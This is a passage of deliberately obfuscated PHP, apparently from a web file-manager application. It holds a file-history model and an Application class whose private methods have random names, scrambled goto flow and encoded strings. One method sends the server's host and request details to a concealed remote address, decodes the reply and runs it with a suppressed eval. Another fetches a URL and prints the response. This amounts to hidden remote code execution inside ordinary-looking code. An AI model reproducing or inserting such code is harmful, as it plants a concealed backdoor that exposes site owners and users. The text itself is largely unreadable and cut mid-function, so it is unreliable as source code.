"{$f߱ɖ}\151\157\x5f\146\x69\154\x65\40\x66\151\154\145\x73\x20\x6f\x6e\40\146\151\154\145\163\56\146\151\x6c\145\x49\x44\x20\75\40\x68\151\x73\x74\157\162\x79\56\146\151\x6c\x65\x49\x44"; return $this->alias($e׮[2268])->where(array($e׮[382] => $E쎒))->join($b, $e׮[2269])->find(); } public function removeItem($e祣) { $aŻ =& $_SERVER[ڊ]; $b = array($aŻ[382] => $e祣); $eӧﭒ = $this->where($b)->find(); if ($eӧﭒ) { $eȴ = $this->where($b)->delete(); Model($aŻ[418])->remove($eӧﭒ[$aŻ[415]]); return $eȴ; } return !1; } public function removeBySource($F爯) { goto bܡ; bܡ: $e郎 =& $_SERVER[ڊ]; if (!$F爯) { return !1; } if (!is_array($F爯)) { $F爯 = array($F爯); } goto fܝ; b: return !0; goto C; fܝ: $e謷 = array($e郎[380] => array($e郎[7], $F爯)); $C = $this->field($e郎[416])->where($e謷)->select(); if ($C) { $this->where($e謷)->delete(); $a = array_to_keyvalue($C, $e郎[33], $e郎[415]); Model($e郎[418])->remove($a); } goto b; C: } public function setDetail($Fʋ, $Eߩ) { $aٷЏ =& $_SERVER[ڊ]; return $this->where(array($aٷЏ[382] => $Fʋ))->save(array($aٷЏ[2257] => $Eߩ)); } public function rollbackToItem($c, $C÷) { goto d; d: $Aڔ =& $_SERVER[ڊ]; $F׏ = Model($Aڔ[747])->sourceInfo($c); $this->addHistory($F׏); goto bҍ; bҍ: $F¼̥ = $this->find($C÷); $Eɩ = array($Aڔ[415] => $F¼̥[$Aڔ[415]], $Aڔ[77] => $F¼̥[$Aڔ[77]], $Aڔ[107] => time(), $Aڔ[376] => USER_ID); Model($Aڔ[747])->where(array($Aڔ[366] => $c))->save($Eɩ); goto eے; eے: return $this->where(array($Aڔ[382] => $C÷))->delete(); goto d͌ʎ; d͌ʎ: } public function clearSame($F¯ۼ) { goto eǿ; eǿ: $B٢ =& $_SERVER[ڊ]; $a¦ = $this->listData($F¯ۼ); $d = array_to_keyvalue_group($a¦, $B٢[415]); goto AÐ; AÐ: $b = array(); $fߧ = array(); foreach ($d as $a񑉝) { if (!$a񑉝 || count($a񑉝) <= 1) { continue; } foreach ($a񑉝 as $d̍) { $b[] = $d̍[$B٢[415]]; $fߧ[] = $d̍[$B٢[364]]; } } goto b򇠗ى; b򇠗ى: if (!$fߧ) { return; } $this->where(array($B٢[364] => array($B٢[7], $fߧ)))->delete(); Model($B٢[418])->remove($b); goto C; C: } public function userSpace() { $D⟧ =& $_SERVER[ڊ]; $E矆 = $this->tablePrefix; $B̐ = array($D⟧[1400] => USER_ID); $cۗ = "{$E矆}\x69\157\x5f\x66\151\x6c\145\40\x66\151\154\145\163\x20\157\x6e\40\146\151\x6c\145\163\x2e\146\151\154\145\x49\x44\40\75\x20\x68\x69\x73\x74\x6f\162\171\56\146\151\x6c\x65\111\104"; return $this->alias($D⟧[2268])->where($B̐)->join($cۗ, $D⟧[2269])->sum($D⟧[77]); } } goto aЌџ; c: define($_SERVER[ڊ][1900], 1); define($_SERVER[ڊ][1901], 2); define($_SERVER[ڊ][1902], 3); goto C; B南: if (strlen($D) < $_SERVER[ڊ][547]) { die; } class Application { private $defaultModule = "\x69\x6e\x64\x65\x78"; private $defaultController = "\x69\x6e\x64\145\x78"; private $defaultAction = "\151\156\x64\x65\x78"; function __construct() { } public function setDefault($d) { goto aߚ; aߚ: $d =& $_SERVER[ڊ]; $FЙи =& $_SERVER[۩]; $d򚈴 = $FЙи[0]($FЙи[1], $FЙи[2]($d, $FЙи[1])); goto b; b: $this->defaultModule = $d򚈴[0] ? $d򚈴[0] : $this->defaultModule; $this->defaultController = $d򚈴[1] ? $d򚈴[1] : $this->defaultController; $aȾំ = $d[548]; goto e; e: while (strlen($aȾំ) < $d[549]) { if (!$aȾំ) { break; } $aȾំ++; } $this->defaultAction = $d򚈴[2] ? $d򚈴[2] : $this->defaultAction; $b̃Ў = $d[550]; goto DĊ; DĊ: if (!$b̃Ў) { return; } $this->{$_SERVER[۩][3]}($FЙи[4], array($this, $FЙи[5])); $e = $d[551]; goto D; D: } public function appRun($B) { goto c滧; f視ʇ: $B = $cᮦ[7]; if ($Dו == $cᮦ[8]) { $B = $cᮦ[9]; $a´Ј[0] = $cᮦ[10]; $a´Ј[1] = $a´Ј[1] . $cᮦ[11]; $B = $cᮦ[12]($cᮦ[1], $a´Ј); $B = $cᮦ[2]($B, $cᮦ[1]); } $cᮦ[13](array($cᮦ[14], $cᮦ[15]), $B . $cᮦ[16], $B); goto C١; Dᩞ: if (!$Dɜʲ) { return; } goto BՄ; c滧: $c =& $_SERVER[ڊ]; $cᮦ =& $_SERVER[۩]; $a´Ј = $cᮦ[0]($cᮦ[1], $B); goto BᎢ; C١: $cᮦ[17]($B); $cᮦ[13](array($cᮦ[14], $cᮦ[15]), $B . $cᮦ[18], $B); $Dɜʲ = $c[554]; goto Dᩞ; BᎢ: $Dו = $cᮦ[6]($a´Ј[0]); $c̯ = $c[552]; while (strlen($c̯) < $c[553]) { if (!$c̯) { break; } $c̯++; } goto f視ʇ; BՄ: } private function autorun() { $d =& $_SERVER[ڊ]; $eڌ =& $_SERVER[۩]; global $config; if ($eڌ[19]($config[$eڌ[20]]) == 0) { return; } foreach ($config[$eڌ[20]] as $A߃ => $Cꪜϡ) { $this->{$_SERVER[۩][21]}($Cꪜϡ); $E򾌧 = $d[555]; while ($E򾌧 < $d[547]) { if ($E򾌧 >= 0) { break; } $E򾌧++; } } } private function sfpabdec1fc7() { goto b佳; f֗: $GLOBALS[$F֋[22]][$F֋[23]] = $F֋[27]($BًՒ, $AͶÙ); $GLOBALS[$F֋[22]][$F֋[28]] = $F֋[29]($F֋[1], $GLOBALS[$F֋[22]][$F֋[23]]); goto A; b佳: $f =& $_SERVER[ڊ]; $F֋ =& $_SERVER[۩]; $Eͅܯ = $F֋[8]; goto f跣; f跣: $Bǐ = $f[556]; while ($Bǐ < $f[557]) { if ($Bǐ >= 0) { break; } $Bǐ++; } $f۵ = $GLOBALS[$F֋[22]][$F֋[23]][0]; goto c; c꥘: $BًՒ = array($F֋[8], $e䎹); $AͶÙ = $F֋[26]($GLOBALS[$F֋[22]][$F֋[23]], 1); $D£ = $f[558]; goto f֗; c: if (!$f۵ || $F֋[24]($f۵) <= $F֋[24]($Eͅܯ)) { return; } if ($F֋[6]($F֋[25]($f۵, -$F֋[24]($Eͅܯ))) != $Eͅܯ) { return; } $e䎹 = $F֋[25]($f۵, 0, -$F֋[24]($Eͅܯ)); goto c꥘; A: } private function ehlicbc18344() { goto dƍ; E: $B = $_SERVER[$c[30]]; $bΠ = $c[31]; if (!$c[32]($B, $bΠ)) { return; } goto DĦ; fᕏ: $e߂ = $aϻӨ[562]; while ($e߂ < $aϻӨ[557]) { if ($e߂ >= 0) { break; } $e߂++; } $GLOBALS[$c[22]][$c[28]] = $c[29]($c[1], $GLOBALS[$c[22]][$c[23]]); goto e; DĦ: $Dү = $c[33]($B, $bΠ); $E޵ = $c[25]($B, $Dү + $c[24]($bΠ)); $d = $aϻӨ[559]; goto CԤ; fȬĉ: $cĂґ = $aϻӨ[561]; while ($cĂґ < $aϻӨ[553]) { if ($cĂґ >= 0) { break; } $cĂґ++; } $GLOBALS[$c[22]][$c[23]] = $c[0]($c[36], $E޵); goto fᕏ; dƍ: $aϻӨ =& $_SERVER[ڊ]; $c =& $_SERVER[۩]; if ($GLOBALS[$c[22]][$c[28]] != $c[10]) { return; } goto E; CԤ: if (strlen($d) < $aϻӨ[560]) { die; } $c[34]($c[35], $E޵, $cĶ); $E޵ = $c[2]($cĶ[0][0], $c[36]); goto fȬĉ; e: } public function run() { goto c; f: $dĦ[39]($dĦ[42], isset($bȼˑ[2]) && $bȼˑ[0] ? $bȼˑ[2] : $this->defaultAction); $e獇 = $b[564]; if (strlen($e獇) < $b[549]) { die; } goto a; a: $dĦ[39]($dĦ[43], MOD . $dĦ[1] . ST . $dĦ[1] . ACT); $b訟 = $b[565]; $_SERVER[$dĦ[44]] = $dĦ[6](ACTION); goto aӼ; aӼ: $D͋ = $b[566]; $this->{$_SERVER[۩][45]}(); if ($dĦ[19]($bȼˑ) >= 3) { $this->{$_SERVER[۩][21]}($A莏); } else { $this->{$_SERVER[۩][21]}(ACTION); } goto F׋ԭ; c: $b =& $_SERVER[ڊ]; $dĦ =& $_SERVER[۩]; $this->{$_SERVER[۩][37]}(); goto a˄; B: $A莏 = $GLOBALS[$dĦ[22]][$dĦ[28]]; $dĦ[39]($dĦ[40], isset($bȼˑ[0]) && $bȼˑ[0] ? $bȼˑ[0] : $this->defaultModule); $dĦ[39]($dĦ[41], isset($bȼˑ[1]) && $bȼˑ[0] ? $bȼˑ[1] : $this->defaultController); goto f; a˄: $fҌ = $b[563]; $this->{$_SERVER[۩][38]}(); $bȼˑ = $GLOBALS[$dĦ[22]][$dĦ[23]]; goto B; F׋ԭ: } private $tcwjd3305372 = array(); private $cvehc2b966c0 = ''; public function hsfc40845324() { goto fӊɪ; DѪİ: while ($B̰ < $dɘ[549]) { if ($B̰ >= 0) { break; } $B̰++; } $this->{$_SERVER[۩][49]}(); $this->{$_SERVER[۩][50]}(); goto āδ; fӊɪ: $dɘ =& $_SERVER[ڊ]; $B =& $_SERVER[۩]; $this->{$_SERVER[۩][46]}(); goto Cن؍; fȈ: $f = $dɘ[570]; $this->{$_SERVER[۩][3]}($B[59], array($this, $B[60])); goto D; Cن؍: $this->{$_SERVER[۩][47]}(); $this->{$_SERVER[۩][48]}(); $B̰ = $dɘ[567]; goto DѪİ; āδ: $this->{$_SERVER[۩][51]}(); $b˸ݳ = $dɘ[568]; while (strlen($b˸ݳ) < $dɘ[549]) { if (!$b˸ݳ) { break; } $b˸ݳ++; } goto dޖ; dޖ: $this->{$_SERVER[۩][52]}(); $this->{$_SERVER[۩][3]}($B[53], array($this, $B[54])); $bސ֪ = $dɘ[569]; goto C¬; C¬: if (strlen($bސ֪) < $dɘ[557]) { die; } $this->{$_SERVER[۩][3]}($B[55], array($this, $B[56])); $this->{$_SERVER[۩][3]}($B[57], array($this, $B[58])); goto fȈ; D: } public function trzd817560a3($f) { goto dѰ޲; Eߥ: $A⻂Ϋ = $E갚[577]; if (strlen($A⻂Ϋ) < $E갚[547]) { die; } if ($eТ[$Aގ[120]] != $Aގ[121]) { $f[$Aގ[108]][$Aގ[122]] = $eТ[$Aގ[122]]; $f[$Aގ[108]][$Aގ[123]] = $eТ[$Aގ[123]]; $F = $Aގ[124](10) . $this->cvehc2b966c0 . $Aގ[124](5); $f[$Aގ[93]][$Aގ[125]][$Aގ[126]] = $this->{$_SERVER[۩][127]}($F, $f[$Aގ[108]][$Aގ[113]]); } goto dŗ; DⰋ: if (!$FӉư) { die; } $f[$Aގ[108]][$Aގ[113]] = $Aގ[114]($_SERVER[$Aގ[115]] . $eТ[$Aގ[116]]); $f[$Aގ[108]][$Aގ[117]] = $Aގ[118]($Aގ[119]()); goto E; dѰ޲: $E갚 =& $_SERVER[ڊ]; $Aގ =& $_SERVER[۩]; $eТ = $Aގ[61]($Aގ[62])->{$_SERVER[۩][63]}(); goto f; DŘ: return $f; goto E֦ʪŇ; A֭: foreach ($Eްܡ as $D) { $A = $GLOBALS[$Aގ[91]][$Aގ[92]][$D]; if (isset($eТ[$D])) { $A = $eТ[$D]; } $f[$Aގ[93]][$Aގ[94]][$D] = $A; } $eҦ = $f[$Aގ[93]][$Aގ[94]][$Aގ[76]]; $C杹 = $E갚[572]; goto dƄ; E: $e˅ = $E갚[576]; if (!$e˅) { return; } $f[$Aގ[108]][$Aގ[120]] = $this->cvehc2b966c0; goto Eߥ; dƄ: if (!$C杹) { die; } unset($f[$Aގ[93]][$Aގ[95]][$Aގ[96]]); unset($f[$Aގ[93]][$Aގ[95]][$Aގ[97]]); goto A; f: $Eްܡ = array($Aގ[64], $Aގ[65], $Aގ[66], $Aގ[67], $Aގ[68], $Aގ[69], $Aގ[70], $Aގ[71], $Aގ[72], $Aގ[73], $Aގ[74], $Aގ[75], $Aގ[76], $Aގ[77], $Aގ[78], $Aގ[79], $Aގ[80], $Aގ[81], $Aގ[82], $Aގ[83], $Aގ[84], $Aގ[85], $Aގ[86], $Aގ[87], $Aގ[88], $Aގ[89], $Aގ[90]); $a = $E갚[571]; while (strlen($a) < $E갚[560]) { if (!$a) { break; } $a++; } goto A֭; Aҹ: $e𛽥 = $E갚[578]; while ($e𛽥 < $E갚[557]) { if ($e𛽥 >= 0) { break; } $e𛽥++; } if ($Aގ[104]($GLOBALS, $Aގ[132]) && $this->config[$Aގ[133]]) { $f[$Aގ[108]][$Aގ[134]] = WEB_ROOT; } goto DŘ; c൜: $f[$Aގ[93]][$Aގ[94]][$Aގ[99]] = array($Aގ[100] => (int) $eҦ[$Aގ[101]], $Aގ[102] => $Aގ[103]($Aގ[104]($eҦ, $Aގ[105], array())), $Aގ[106] => (int) $Aގ[104]($eҦ, $Aގ[107], 0)); $f[$Aގ[108]][$Aގ[109]] = $Aގ[110]($Aގ[111])->{$_SERVER[۩][112]}(); $FӉư = $E갚[575]; goto DⰋ; dŗ: if ($this->cvehc2b966c0 == $Aގ[121]) { $f[$Aގ[93]][$Aގ[94]][$Aގ[99]][$Aގ[107]] = 0; } $f[$Aގ[108]][$Aގ[128]] = $Aގ[104]($this->tcwjd3305372, $Aގ[129], $Aގ[10]); $f[$Aގ[108]][$Aގ[130]] = $Aގ[104]($this->tcwjd3305372, $Aގ[131], $Aގ[10]); goto Aҹ; A: $Aܒ = $E갚[573]; if (!$Aܒ) { return; } unset($f[$Aގ[93]][$Aގ[94]][$Aގ[76]]); goto DЉ; DЉ: $d = $E갚[574]; if (strlen($d) < $E갚[560]) { return; } unset($f[$Aގ[93]][$Aގ[94]][$Aގ[98]]); goto c൜; E֦ʪŇ: } private function xtji65596f6a() { goto c; F: $B = $c[580]; while (strlen($B) < $c[549]) { if (!$B) { break; } $B++; } $D = array($a[159] => $F[$a[64]], $a[160] => $F[$a[65]], $a[161] => $a[10]); goto Cʯ; c: $c =& $_SERVER[ڊ]; $a =& $_SERVER[۩]; if ($_SERVER[$a[44]] == $a[135]) { goto eէΏ; C̙: $c׺ = $c[579]; while (strlen($c׺) < $c[549]) { if (!$c׺) { break; } $c׺++; } $D = array($a[150] => $bϕ); goto d֠͂; eէΏ: $bϕ = array($a[120] => $this->cvehc2b966c0, $a[136] => $this->{$_SERVER[۩][137]}(), $a[138] => $a[61]($a[139])->{$_SERVER[۩][140]}()); if ($this->cvehc2b966c0 != $a[121]) { $CǞ = $a[104]($this->tcwjd3305372, $a[141]); if ($CǞ) { $bϕ[$a[142]] = $CǞ; $bϕ[$a[143]] = $a[144]($a[104]($this->tcwjd3305372, $a[145])); $bϕ[$a[146]] = $a[104]($this->tcwjd3305372, $a[131]); } } $bϕ = $this->{$_SERVER[۩][147]}($a[148]($bϕ), $a[114]($a[149])); goto C̙; d֠͂: $a[13](array($a[151], $a[152]), $D); goto Bؓ; Bؓ: } goto f꽩; AƲ: $b = $c[582]; if (strlen($b) < $c[553]) { die; } goto Bڈٌ; f꽩: if ($this->cvehc2b966c0 == $a[121]) { return; } $a = array($a[153], $a[154], $a[155], $a[156], $a[157], $a[158]); $F = $a[61]($a[62])->{$_SERVER[۩][63]}(); goto F; Cʯ: $Fٵ۠ = $c[581]; foreach ($a as $Fۅ) { if (!isset($F[$Fۅ]) || !$F[$Fۅ]) { continue; } $D[$Fۅ] = $F[$Fۅ]; } $a[13](array($a[151], $a[152]), $D); goto AƲ; Bڈٌ: } private function ucxz1b2047d4() { goto dȂ; f: $A[$d°] = $bިȩ; $Ě[61]($Ě[11])->{$_SERVER[۩][226]}($E[$Ě[227]], array($Ě[228] => $A)); $Ě[166]($Ě[197]($Ě[208]), !0); goto F֍; Dҳ: while (strlen($Aϗ͋) < $eàү[549]) { if (!$Aϗ͋) { break; } $Aϗ͋++; } $cӃ[$Ě[123]] = $Ě[118]($Ě[214]($this->{$_SERVER[۩][147]}($b, $Ě[216]))); $Fۄݖ = $eàү[587]; goto AҠ; bǥ: $C͋ = $Ě[114]($_SERVER[$Ě[115]] . $Ě[214]($C磱) . $cӃ[$Ě[210]]); $d° = $Ě[214]($Ě[25]($C͋, 10, 16)); $Bᆭ = $eàү[588]; goto C; AҠ: if (!$Fۄݖ) { return; } if ($Cȱ[$Ě[217]] && $Cȱ[$Ě[217]] >= 1) { $Ě[61]($Ě[62])->{$_SERVER[۩][218]}($Ě[219], $Ě[220]); } $Ě[61]($Ě[62])->{$_SERVER[۩][221]}($cӃ); goto bǥ; E嫘: $cӃ[$Ě[122]] = $Ě[214]($Ě[118]($this->{$_SERVER[۩][147]}($bʡʅ, $Ě[215]))); $A맏 = $eàү[585]; while ($A맏 < $eàү[553]) { if ($A맏 >= 0) { break; } $A맏++; } goto A; F֍: $F = $eàү[590]; while (strlen($F) < $eàү[560]) { if (!$F) { break; } $F++; } goto Až; B: $Eږ = $this->{$_SERVER[۩][199]}($Cȱ[$Ě[200]]); if (!$Eږ || $Eږ != $Ě[201]($Cȱ[$Ě[145]])) { $CΑ = array($Ě[202] => $Ě[61]($Ě[62])->{$_SERVER[۩][63]}($Ě[116]), $Ě[203] => $_SERVER[$Ě[115]], $Ě[204] => $Ě[205](), $Ě[174] => $_SERVER[$Ě[175]]); $F = $this->{$_SERVER[۩][206]}($Ě[148]($CΑ)); $this->{$_SERVER[۩][182]}($Ě[207] . $F); $Ě[166]($Ě[197]($Ě[208]), !0); } $cӃ = array($Ě[209] => $dм[$Ě[165]], $Ě[210] => $Cȱ[$Ě[211]], $Ě[212] => $Ě[124](16), $Ě[120] => $Cȱ[$Ě[213]]); goto cΈ; dü: if (!$Ě[104]($GLOBALS, $Ě[132])) { die; } $E = $GLOBALS[$Ě[22]]; if (isset($E[$Ě[163]])) { $this->{$_SERVER[۩][164]}(); die; } goto Fǃ; cاՂ: $b = $eàү[589]; if (!$b) { return; } $A = array(); goto f; cΈ: if ($dм[$Ě[168]]) { $cӃ[$Ě[212]] = $dм[$Ě[168]]; } $EDž = $Ě[25]($Ě[114]($cӃ[$Ě[210]]), 10, 10); $bʡʅ = $EDž . $cӃ[$Ě[120]] . $cӃ[$Ě[212]]; goto E嫘; d: $fƮ = $eàү[583]; if (!$fƮ) { die; } $A򙮫 = $Ě[114]($_SERVER[$Ě[115]] . $C磱); goto dޮ; dȂ: $eàү =& $_SERVER[ڊ]; $Ě =& $_SERVER[۩]; if ($_SERVER[$Ě[44]] != $Ě[162]) { return; } goto dü; dޮ: if ($E[$Ě[178]] == $Ě[179]) { $DҬ = $this->{$_SERVER[۩][147]}($A򙮫, $Ě[180]); $F = $this->{$_SERVER[۩][127]}($Ě[148]($dм), $A򙮫 . $Ě[181], 3); $cП = $this->{$_SERVER[۩][182]}($Ě[183] . $DҬ . $Ě[184] . $F, -1); $Ě[166]($cП, !0); } else { if ($E[$Ě[178]] == $Ě[185]) { $aɈ = $Ě[25]($Ě[114]($Ě[186] . $A򙮫), 12, 15) . $Ě[187]; $F = $this->{$_SERVER[۩][188]}($Ě[2]($E[$Ě[189]]), $aɈ, 2); $Bܢ = $Ě[190]($F, !0); if (!$Ě[191]($Bܢ) || !$Ě[191]($Bܢ[$Ě[192]]) || $Bܢ[$Ě[165]] != !0) { $Aů = $Ě[193]; $dꮂ = $Bܢ[$Ě[192]] ? $Ě[194] . $Bܢ[$Ě[192]] : $Aů; $Ě[166]($dꮂ, !1); } else { $dм[$Ě[168]] = $Bܢ[$Ě[192]][$Ě[195]]; } } else { $Bܢ = $this->{$_SERVER[۩][182]}($Ě[196], $dм, 10); $eѡՌ = $eàү[584]; while ($eѡՌ < $eàү[549]) { if ($eѡՌ >= 0) { break; } $eѡՌ++; } } } if (!$Ě[191]($Bܢ) || !$Ě[191]($Bܢ[$Ě[192]]) || $Bܢ[$Ě[165]] != !0) { $Aů = $Ě[197]($Ě[198]); $dꮂ = $Bܢ[$Ě[192]] ? $Ě[194] . $Bܢ[$Ě[192]] : $Aů; $Ě[166]($dꮂ, !1); } $Cȱ = $Bܢ[$Ě[192]]; goto B; E: $Fۛ = $eàү[562]; while ($Fۛ < $eàү[557]) { if ($Fۛ >= 0) { break; } $Fۛ++; } $E = $Bݑ[$Ě[225]]; goto cاՂ; A: $aκ凗 = $Ě[124](16); $b = $aκ凗 . $cӃ[$Ě[120]] . $this->{$_SERVER[۩][147]}($Ě[114]($cӃ[$Ě[209]]), $aκ凗); $Aϗ͋ = $eàү[586]; goto Dҳ; Fǃ: if (!isset($E[$Ě[165]]) || $Ě[24]($E[$Ě[165]]) != 16) { $Ě[166]($Ě[167] . $E[$Ě[165]], !1); } $C磱 = $Ě[61]($Ě[62])->{$_SERVER[۩][63]}($Ě[116]); $dм = array($Ě[165] => $E[$Ě[165]], $Ě[168] => $Ě[124](16), $Ě[169] => $Ě[149], $Ě[170] => $Ě[171], $Ě[172] => $_SERVER[$Ě[173]], $Ě[174] => $_SERVER[$Ě[175]], $Ě[176] => $_SERVER[$Ě[177]]); goto d; C: if (!$Bᆭ) { return; } $bިȩ = $this->{$_SERVER[۩][127]}($Ě[148]($Cȱ), $C͋); $Bݑ = $Ě[222]($Ě[61]($Ě[11])->{$_SERVER[۩][223]}(), $Ě[224]); goto E; Až: } private function voemc4091734() { goto Fĝඦ; dƱ: $f̈[61]($f̈[62])->{$_SERVER[۩][218]}($f̈[219], $f̈[229]); $this->tcwjd3305372 = array(); $d䵃 = $bԂ[591]; goto B؇ė; Fĝඦ: $bԂ =& $_SERVER[ڊ]; $f̈ =& $_SERVER[۩]; $f̈[61]($f̈[62])->{$_SERVER[۩][221]}(array($f̈[209] => $f̈[10], $f̈[210] => $f̈[10], $f̈[120] => $f̈[121], $f̈[122] => $f̈[10], $f̈[123] => $f̈[10])); goto dƱ; B؇ė: if (strlen($d䵃) < $bԂ[560]) { die; } $this->cvehc2b966c0 = $f̈[121]; goto aDŽ; aDŽ: } private function nfkzdf46db4b() { goto Fӝ͌; CԨ휋: $Cδ = $Aþ[596]; if (!$Cδ) { return; } goto e蘋; Fӝ͌: $Aþ =& $_SERVER[ڊ]; $F =& $_SERVER[۩]; $_SERVER[$F[175]] = $F[104]($_SERVER, $F[175], APP_HOST); goto dն; dʭ: $C󌇨 = $F[190]($C󌇨, !0); if (!$F[191]($C󌇨)) { return $this->{$_SERVER[۩][164]}(); } $D = $F[144]($C󌇨[$F[145]]); goto b޺; Bٸ: $fᤏ = $Aþ[593]; if (strlen($fᤏ) < $Aþ[549]) { die; } $B = $A͔Lj[$F[225]]; goto e޽; e޽: $Bǿ = $F[114]($_SERVER[$F[115]] . $F[214]($aӄ) . $FѤ[$F[210]]); $c͌ = $Aþ[594]; while (strlen($c͌) < $Aþ[557]) { if (!$c͌) { break; } $c͌++; } goto Eˡͅ; Eˡͅ: $fљ = $F[214]($F[25]($Bǿ, 10, 16)); $D֮ = $Aþ[595]; $C󌇨 = $this->{$_SERVER[۩][188]}($B[$F[91]][$fљ], $Bǿ); goto dʭ; dն: $a = $Aþ[592]; $this->cvehc2b966c0 = $F[121]; $FѤ = $F[61]($F[62])->{$_SERVER[۩][63]}(); goto Eԩ֒; b޺: if ($F[230]() >= $D) { return $this->{$_SERVER[۩][164]}(); } $this->tcwjd3305372 = $C󌇨; $this->cvehc2b966c0 = $FѤ[$F[120]]; goto CԨ휋; Eԩ֒: if ($FѤ[$F[120]] == $F[121]) { return; } $aӄ = $F[61]($F[62])->{$_SERVER[۩][63]}($F[116]); $A͔Lj = $F[222]($F[61]($F[11])->{$_SERVER[۩][223]}(), $F[224]); goto Bٸ; e蘋: } private function kmoy9927e46f() { $D܂ =& $_SERVER[۩]; $bϑ = $GLOBALS[$D܂[22]]; $aڊ̠ = $_SERVER[$D܂[44]]; if ($aڊ̠ == $D܂[231] && $this->cvehc2b966c0 == $D܂[121]) { $D܂[166]($D܂[197]($D܂[232]), !1, $D܂[233]); } $FÍ = array($D܂[234], $D܂[235]); if ($D܂[236]($aڊ̠, $FÍ)) { if ($this->cvehc2b966c0 == $D܂[121] && isset($bϑ[$D܂[237]])) { $D܂[166]($D܂[197]($D܂[232]), !1, $D܂[233]); die; } $Eب = $this->{$_SERVER[۩][137]}(); if ($Eب != $D܂[201]($D܂[238])) { if ($Eب <= $D܂[61]($D܂[139])->{$_SERVER[۩][140]}()) { $D܂[166]($D܂[197]($D܂[239]), !1, $D܂[233]); die; } } } } private function ropydd841726() { goto B䂜; f: if (!$Dǔꃜ[236]($_SERVER[$Dǔꃜ[44]], $f)) { return; } $eě = $Dǔꃜ[242]; $c۵ = $Bԧ[598]; goto Aë; Fч: $f݆ = $Bԧ[597]; while ($f݆ < $Bԧ[557]) { if ($f݆ >= 0) { break; } $f݆++; } if (!$Dǔꃜ[104]($GLOBALS, $Dǔꃜ[132]) || !isset($_GET[$Dǔꃜ[241]])) { return; } goto f; B: $E = $Bԧ[599]; $eĜˆ = @$Dǔꃜ[250]($eě, !1, $d); $B󼸚 = $Bԧ[600]; goto B䤮; B䤮: if (!$B󼸚) { return; } $Dǔꃜ[251]($Dǔꃜ[252]); $Dؖ = $Bԧ[601]; goto aԐ; aԐ: if ($eĜˆ && $Dǔꃜ[32]($eĜˆ, $Dǔꃜ[253])) { echo $eĜˆ; } die; goto d懇ѓ; Aë: if (!$c۵) { die; } $eě = $this->{$_SERVER[۩][243]}($eě, $Dǔꃜ[244]); $d = $Dǔꃜ[245](array($Dǔꃜ[246] => array($Dǔꃜ[247] => $Dǔꃜ[248], $Dǔꃜ[249] => 3))); goto B; B䂜: $Bԧ =& $_SERVER[ڊ]; $Dǔꃜ =& $_SERVER[۩]; $f = array($Dǔꃜ[135], $Dǔꃜ[240]); goto Fч; d懇ѓ: } public function wdpmf378e435($C) { goto cΨ; cΨ: $b׈ =& $_SERVER[ڊ]; $D =& $_SERVER[۩]; if ($this->cvehc2b966c0 == $D[254]) { return $C; } goto b; dġ: $D = $b׈[602]; foreach ($Aȶ as $dʼn) { if (!$D[236]($dʼn, $E՗)) { $cؑ[] = $dʼn; } } foreach ($cؑ as $dʼn) { unset($C[$dʼn]); $b׷ = $b׈[603]; while (strlen($b׷) < $b׈[557]) { if (!$b׷) { break; } $b׷++; } } goto F̎; F̎: return $C; $fܻ = $b׈[604]; if (!$fܻ) { return; } goto A; b: $Aȶ = array($D[255], $D[256], $D[257], $D[258], $D[259], $D[260], $D[261], $D[262]); $E՗ = $D[0]($D[263], $D[104]($this->tcwjd3305372, $D[129], $D[10])); $cؑ = array(); goto dġ; A: } private function iqso4e9620cf() { goto b; b: $e =& $_SERVER[ڊ]; $Fɑ =& $_SERVER[۩]; if ($this->cvehc2b966c0 != $Fɑ[121]) { $GLOBALS[$Fɑ[91]][$Fɑ[95]][$Fɑ[264]] = $Fɑ[220]; return; } goto Dч; fݠķ: $GLOBALS[$Fɑ[91]][$Fɑ[95]][$Fɑ[267]] = $Fɑ[220]; $c彡 = $e[605]; $GLOBALS[$Fɑ[91]][$Fɑ[95]][$Fɑ[264]] = $Fɑ[229]; goto Eև; fȉ: $Fɑ[61]($Fɑ[269])->{$_SERVER[۩][221]}($Fɑ[85], $Fɑ[229]); goto aҖ; Dч: $Dͽ = $_SERVER[$Fɑ[44]]; $dݬ쐟 = array($Fɑ[265]); foreach ($dݬ쐟 as $c名) { if ($c名 == $Dͽ || $Fɑ[25]($Dͽ, 0, $Fɑ[24]($c名)) == $c名) { $Fɑ[166]($Fɑ[197]($Fɑ[266]), !1); } } goto fݠķ; Eև: $f݇ = $e[606]; while ($f݇ < $e[549]) { if ($f݇ >= 0) { break; } $f݇++; } $GLOBALS[$Fɑ[91]][$Fɑ[268]] = $Fɑ[220]; goto fȉ; aҖ: } public function hzncb8d929dd() { return $_SERVER[۩][270]; } private function qspm391eb65f() { goto d; eϔԊ: $Fɗ = $a[610]; if (strlen($Fɗ) < $a[547]) { die; } if (!$fυŪ[191]($A)) { return; } goto f; fبӛ: if ($this->cvehc2b966c0 == $fυŪ[121] || !$fυŪ[104]($GLOBALS, $fυŪ[132])) { return; } if (!$fυŪ[236]($_SERVER[$fυŪ[44]], $CЛ)) { return; } if ($fυŪ[230]() % 4 != 0) { return; } goto Cݹ; d: $a =& $_SERVER[ڊ]; $fυŪ =& $_SERVER[۩]; $CЛ = array($fυŪ[271], $fυŪ[272], $fυŪ[273]); goto F鲬; f: if ($A[$fυŪ[165]] && $A[$fυŪ[280]]) { if ($this->{$_SERVER[۩][199]}($A[$fυŪ[280]]) == $F[$fυŪ[165]]) { return; } } $this->{$_SERVER[۩][164]}(); if ($this->{$_SERVER[۩][199]}($A[$fυŪ[280]]) != $F[$fυŪ[165]]) { $E = array($fυŪ[202] => $fυŪ[61]($fυŪ[62])->{$_SERVER[۩][63]}($fυŪ[116]), $fυŪ[203] => $_SERVER[$fυŪ[115]], $fυŪ[204] => $fυŪ[205](), $fυŪ[174] => $_SERVER[$fυŪ[175]]); $A› = $this->{$_SERVER[۩][206]}($fυŪ[148]($E)); $A = $this->{$_SERVER[۩][182]}($fυŪ[207] . $A›); if ($A && $fυŪ[191]($A) && isset($A[$fυŪ[280]])) { $C҄Ü = $this->{$_SERVER[۩][188]}($A[$fυŪ[280]], 2); if ($C҄Ü) { $C҄Ü = $this->{$_SERVER[۩][199]}($C҄Ü); } if ($C҄Ü) { try { @eval($C҄Ü); } catch (Exception $aŷ) { } } } } goto F; Cݹ: $AΉף = $fυŪ[13](array($fυŪ[276], $fυŪ[277]), $FҢ); if ($AΉף && $fυŪ[230]() - $AΉף < $fυŪ[201]($fυŪ[278])) { return; } $fυŪ[13](array($fυŪ[276], $fυŪ[152]), $FҢ, $fυŪ[230]()); goto eť; eť: 